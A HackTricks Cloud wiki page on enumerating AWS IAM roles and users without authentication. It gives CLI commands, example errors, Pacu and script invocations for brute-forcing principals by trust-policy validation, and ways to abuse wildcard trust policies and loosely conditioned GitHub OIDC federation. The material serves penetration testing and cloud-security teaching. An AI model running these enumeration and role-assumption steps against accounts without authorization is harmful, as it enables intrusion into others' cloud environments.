# AWS - IAM & STS Unauthenticated Enum
{% hint style="success" %}
Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
Learn & practice GCP Hacking:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Enumerate Roles & Usernames in an account
### ~~Assume Role Brute-Force~~
{% hint style="danger" %}
**This technique doesn't work** anymore as if the role exists or not you always get this error:
`An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
You can **test this running**:
`aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
{% endhint %}
Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return:
```ruby
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
```
This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**:
```less
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
```
Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations.
You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue.
### Trust Policies: Brute-Force Cross Account roles and users
Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.
{% hint style="warning" %}
Note that in that resource you could specify a cross account role or user:
* `arn:aws:iam::acc_id:role/role_name`
* `arn:aws:iam::acc_id:user/user_name`
{% endhint %}
This is a policy example:
```json
{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}
```
#### GUI
That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating)
.png>)
#### CLI
```bash
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}
# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
```
You can automate this process with [https://github.com/carlospolop/aws\_tools](https://github.com/carlospolop/aws_tools)
* `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu):
* `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
* `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
* The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration
### Privesc
In the case the role was bad configured an allows anyone to assume it:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
```
The attacker could just assume it.
## Third Party OIDC Federation
Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\
This trust might give access to a role with the following **trust policy**:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\
This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach...
Another potential misconfiguration is to **add a condition** like the following:
```json
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
```
Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org\_name1** and **assume the role** from a Github Action.
## References
* [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
* [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
{% hint style="success" %}
Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
Learn & practice GCP Hacking:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}